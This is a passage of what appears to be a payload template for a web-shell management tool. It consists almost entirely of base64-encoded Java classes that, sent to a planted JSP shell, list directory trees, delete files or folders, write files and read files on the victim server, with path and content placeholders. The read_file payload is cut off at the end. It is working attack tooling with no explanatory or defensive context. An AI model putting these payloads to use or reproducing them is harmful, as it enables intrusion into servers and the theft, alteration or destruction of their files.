'yv66vgAAADIA9woAUgBzBwB0CgACAHUKAAIAdggAUwsAdwB4CAB5CQBRAHoIAHsIAHwJAFEAfQcAfgoADAB/CACACwCBAIILAHcAgwsAgQCDBwCECgASAHMIAIUKABIAhgoAEgCHCgBRAIgKAFEAiQgAigoADACLCgBRAIwKAAwAhwgAjQoAAgCOCgCPAJAHAJEIAJIKACAAhwgAkwoAJQCUBwCVCgAlAJYKACUAlwgAmAgAmQoAJQCaBwCbCgAlAJwKACsAnQoAJQCeCgAlAJ8KABIAoAgAoQoAKwCiCgArAKMIAKQHAKUKADUAcwoANQCmBwCnCgA4AH8KADgAqAoAqQCqCACrCgCsAK0HAK4IAK8KAD4AfwcAsAoAOACxCgBBALIKAD4AswoAOAC0CAC1CgA4ALYIALcKADgAuAoAJQC5CgA4ALoIALsIALwKADgAvQoAEgC+CAC/BwBrBwDAAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGsHAMAHAHQHAMEHAMIHAGsHAJUHAH4HAJEBAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAmwEADEZpbGVUcmVlQ29kZQcApwcAwwcArgcAsAcAhAEAClNvdXJjZUZpbGUBABFGaWxlVHJlZUNvZGUuamF2YQwAVgBXAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMQAxQwAxgDHBwDBDADIAGcBAAAMAFMAVAEAB2NoYXJzZXQBAAVVVEYtOAwAVQBUAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAVgDJAQAJdGV4dC9odG1sBwDCDADKAMkMAMsAyQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAzADNDADOAM8MAGkAZwwAZgBnAQADLT58DADMANAMAGsAZwEAA3w8LQwA0QDSBwDTDADUAMkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABaAFsBABBqYXZhL2xhbmcvU3RyaW5nDADVANYMAFYA1wEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADYAM8BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA2QDaDABWANsMANwA3QwA3gDfDADMAOABAAEsDADhANsMAM4AZwEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOIA4wEADGphdmEvaW8vRmlsZQwA5ADlBwDmDADnAOgBAA1maWxlLmVuY29kaW5nBwDpDADqAOsBABpqYXZhL3RleHQvU2ltcGxlRGF0ZUZvcm1hdAEAE3l5eXktTU0tZGQgSEg6bW06c3MBAA5qYXZhL3V0aWwvRGF0ZQwA7ADtDABWAO4MAO8A8AwA8QDyAQABUgwA8wDyAQACIFcMAPQAzwwA1QDjDAD1APIBAAIvCQEAAQkMANkA7QwAzAD2AQABCgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAA9bTGphdmEvaW8vRmlsZTsBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2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'
,
'var1'
:
'#{path}'
},
delete
:
{
_
:
'yv66vgAAADIAvAoAPgBZBwBaCgACAFsKAAIAXAgAXQsAXgBfCABgCABhCABiBwBjCgAKAGQIAGULAGYAZwsAXgBoCwBmAGgHAGkKABAAWQgAagoAEABrCgAQAGwKAD0AbQoAPQBuCABvCgAKAHAKAD0AcQoACgBsCAByCgACAHMKAHQAdQcAdggAdwoAHgBsCAB4CgAjAHkHAHoKACMAewoAIwB8CAB9CAB+CgAjAH8HAIAKACMAgQoAKQCCCgAjAIMKACMAhAoAEACFCACGCgApAIcKACkAiAgAiQcAigoAMwBZCgAzAIsHAIwKADYAZAoANgCNCgA2AI4KADYAjwoANgCQCACRBwBTBwCSAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFoHAJMHAJQHAHoHAFMHAJIHAGMHAHYBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAgAEAE0RlbGV0ZUZpbGVPckRpckNvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAjAcAlQEAClNvdXJjZUZpbGUBABhEZWxldGVGaWxlT3JEaXJDb2RlLmphdmEMAD8AQAEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACWAJcMAJgAmQEAB2VuY29kZXIHAJMMAJoAVAEAAAEAB2NoYXJzZXQBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAD8AmwEACXRleHQvaHRtbAcAlAwAnACbDACdAJsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAJ4AnwwAoAChDABRAE8MAE4ATwEAAy0+fAwAngCiDABTAFQBAAN8PC0MAKMApAcApQwApgCbAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAQwBEAQAQamF2YS9sYW5nL1N0cmluZwwApwCoDAA/AKkBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAqgChAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAKsArAwAPwCtDACuAK8MALAAsQwAngCyAQABLAwAswCtDACgAFQBAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAC0ALUBAAxqYXZhL2lvL0ZpbGUMALYAtwwAuAC5DAC6ALcMALsAoQEAATEBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAPW0xqYXZhL2lvL0ZpbGU7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQALaXNEaXJlY3RvcnkBAAMoKVoBAAlsaXN0RmlsZXMBABEoKVtMamF2YS9pby9GaWxlOwEABmRlbGV0ZQEAB2dldFBhdGgAIQA9AD4AAAAAAAUAAQA/AEAAAQBBAAAAHQABAAEAAAAFKrcAAbEAAAABAEIAAAAGAAEAAAAHAAEAQwBEAAEAQQAAAasABQAKAAAA9yvAAAJNLLYAA04stgAEOgQtEgW5AAYCAMYADi0SBbkABgIApwAFEgc6BS0SCLkABgIAxgAOLRIIuQAGAgCnAAUSCToGuwAKWRIHtwALOge7AApZEge3AAs6CBkEEgy5AA0CAC0ZBrkADgIAGQQZBrkADwIAKiq7ABBZtwARLRISuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgkZBxIXtgAYVxkIKhkJtgAZtgAYVxkHGQi2ABq2ABhXGQcSG7YAGFcstgAcGQe2ABq2AB2nACI6CRkIuwAQWbcAERIftgATGQm2ACC2ABO2ABS2ABhXBKwAAQBaANMA1gAeAAIAQgAAAFIAFAAAAAoABQALAAoADAAQAA0AKgAOAEQADwBPABAAWgASAGMAEwBrABQAdAAVAKAAFgCoABcAtAAYAL8AGQDHABoA0wAdANYAGwDYABwA9QAeAEUAAABCAAb+ACYHAEYHAEcHAEhBBwBJ/AAXBwBJQQcASf8AkwAJBwBKBwBLBwBGBwBHBwBIBwBJBwBJBwBMBwBMAAEHAE0eAAAATgBPAAIAQQAAAEQABAAEAAAAHiwSIbYAIpoACSwSIaYABSuwuwAjWSu2ACQttwAlsAAAAAIAQgAAAAoAAgAAACEAEQAiAEUAAAAEAAIPAQBQAAAABAABAB4AAABRAE8AAgBBAAABaAAGAAgAAADcLBIhtgAimgAJLBIhpgCfKxImpQAMKxImtgAimQAGEgewEic6BCu2AChMuwApWSu2ACoFbLcAKzoFEgc6BgM2BxUHK7YAKqIAXbsAEFm3ABEZBrYAExkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYALhIvtgATtgAUOgYZBRkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYAMIQHAqf/oBkFEgm2ADGwLBIytgAimgAJLBIypgAjAToEuwAzWbcANDoFGQUrtgA1OgS7ACNZGQQSCbcAJbArsAAAAAIAQgAAAEoAEgAAACUADwAmAB4AJwAhACkAJQAqACoAKwA5ACwAPQAtAEkALgB9AC8AnQAtAKMAMQCrADIAugAzAL0ANADGADUAzgA2ANoAOABFAAAAKgAIDw4C/wAeAAgHAEoHAEkHAEkHAEkHAEkHAFIHAEkBAAD6AGL4AAcOHwBQAAAABAABAB4AAABTAFQAAgBBAAAAkQADAAUAAABDuwA2WSu3ADdNLLYAOJkALiy2ADlOAzYEFQQtvqIAHy0VBDK2ADqaAA8qLRUEMrYAO7YAGVeEBAGn/+AstgA6VxI8sAAAAAIAQgAAACYACQAAADsACQA8ABAAPQAVAD4AHwA/ACkAQAA1AD4AOwBEAEAARQBFAAAAEAAD/gAYBwBVBwBWARz5AAUAUAAAAAQAAQAeAAEAVwAAAAIAWA=='
,
'var1'
:
'#{path}'
},
create_file
:
{
_
:
'yv66vgAAADIAxQoAQwBhBwBiCgACAGMKAAIAZAgAZQsAZgBnCABoCABpCABqBwBrCgAKAGwIAG0LAG4AbwsAZgBwCwBuAHAHAHEKABAAYQgAcgoAEABzCgAQAHQKAEIAdQoAQgB2CAB3CAB4CgAKAHkKAEIAegoACgB0CAB7CgACAHwKAH0AfgcAfwgAgAoAHwB0CACBCgAkAIIHAIMKACQAhAoAJACFCACGCACHCgAkAIgHAIkKACQAigoAKgCLCgAkAIwKACQAjQoAEACOCACPCgAqAJAKACoAkQgAkgcAkwoANABhCgA0AJQKAEIAlQcAlgoAOABsBwCXCgA6AJgKADoAkAoAOgCZCACaCgAkAJsKABAAiwoAEACcBwBYBwCdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGIHAJ4HAJ8HAIMHAFgHAJ0HAGsHAH8BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAiQEADVdyaXRlRmlsZUNvZGUHAJYHAJcBAAtzdHJ0b2hleHN0cgEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwCgBwBxAQAKU291cmNlRmlsZQEAEldyaXRlRmlsZUNvZGUuamF2YQwARABFAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAKEAogwAowCkAQAHZW5jb2RlcgcAngwApQCmAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwARACnAQAJdGV4dC9odG1sBwCfDACoAKcMAKkApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAqgCrDACsAK0MAFYAVAwAUwBUAQAEdmFyMgEAAy0+fAwAqgCuDABYAFQBAAN8PC0MAK8AsAcAsQwAsgCnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwASABJAQAQamF2YS9sYW5nL1N0cmluZwwAswC0DABEALUBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAtgCtAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MALcAuAwARAC5DAC6ALsMALwAvQwAqgC+AQABLAwAvwC5DACsAKYBAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADAAMEMAFsAXAEADGphdmEvaW8vRmlsZQEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwARADCDADDAEUBAAExDACzAMEMAKoAxAEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAJbQgEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEA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'
,
'var1'
:
'#{path}'
,
'var2'
:
'#{content}'
},
read_file
:
{
_
:
'yv66vgAAADIAxwoARABhBwBiCgACAGMKAAIAZAgARQsAZQBmCABnCQBDAGgIAGkIAGoJAEMAawcAbAoADABtCABuCwBvAHALAGUAcQsAbwBxBwByCgASAGEIAHMKABIAdAoAEgB1CgBDAHYKAEMAdwgAeAoADAB5CgBDAHoKAAwAdQgAewoAAgB8CgB9AH4HAH8IAIAKACAAdQgAgQoAJQCCBwCDCgAlAIQKACUAhQgAhggAhwoAJQCIBwCJCgAlAIoKACsAiwoAJQCMCgAlAI0KABIAjggAjwoAKwCQCgArAJEIAJIHAJMKADUAYQoANQCUBwCVBwCWBwCXBwCYCgA7AG0KADoAmQoAOQCaCgA4AJsKADgAnAgAnQoAOACeBwBdBwCfAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAF0HAJ8HAGIHAKAHAKEHAF0HAIMHAGwHAH8BAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAiQEADFJlYWRGaWxlQ29kZQcAlQEAClNvdXJjZUZpbGUBABFSZWFkRmlsZUNvZGUuamF2YQwASABJAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAKIAowwApAClBwCgDACmAFkBAAAMAEUARgEAB2NoYXJzZXQBAAVVVEYtOAwARwBGAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwASACnAQAJdGV4dC9odG1sBwChDACoAKcMAKkApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAqgCrDACsAK0MAFsAWQwAWABZAQADLT58DACqAK4MAF0AWQEAA3w8LQwArwCwBwCxDACyAKcBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABMAE0BABBqYXZhL2xhbmcvU3RyaW5nDACzALQMAEgAtQEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAC2AK0BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwAtwC4DABIALkMALoAuwwAvAC9DACqAL4BAAEsDAC/ALkMAKwAWQEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAMAAwQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQAXamF2YS9pby9GaWxlSW5wdXRTdHJlYW0BAAxqYXZhL2lvL0ZpbGUMAEgAwgwASADDDABIAMQMAMUArQEAAg0KDADGAEkBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5n